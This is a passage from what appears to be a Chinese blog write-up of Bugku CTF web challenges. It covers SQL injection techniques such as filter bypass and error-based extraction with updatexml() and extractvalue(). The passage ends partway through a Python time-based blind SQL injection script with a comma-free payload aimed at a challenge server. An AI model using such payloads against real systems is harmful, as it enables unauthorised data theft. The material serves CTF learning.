bugku web 系列题目思路总结（五）

最新推荐文章于 2022-06-01 16:39:10 发布

原创

最新推荐文章于 2022-06-01 16:39:10 发布 · 553 阅读

1 ·

CC 4.0 BY-SA版权

本文总结了Bugku平台上的几个Web安全题目，重点讨论了如何处理SQL注入问题。通过exploit PHP的explode()函数、时间盲注、字符串过滤绕过等方法，分析了如何发现注入点、获取数据库信息。文章提到了union、order by等关键字的过滤及利用重叠方法绕过，并介绍了updatexml()和extractvalue()函数在信息获取中的应用。尽管解密第三关的密文和理解某些页面逻辑成为难点，但本文提供了对Web安全挑战深入理解的宝贵思路。

bugku insert into 注入

PHP explode() 将字符串打散为数组。根据第一个参数分割。
一个基于时间的盲注代码。

# -*- coding:utf-8 -*-
import requests
import sys
# 基于时间的盲注，过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://123.206.87.240:8002/web15/'
flag = ''
for i in range(1,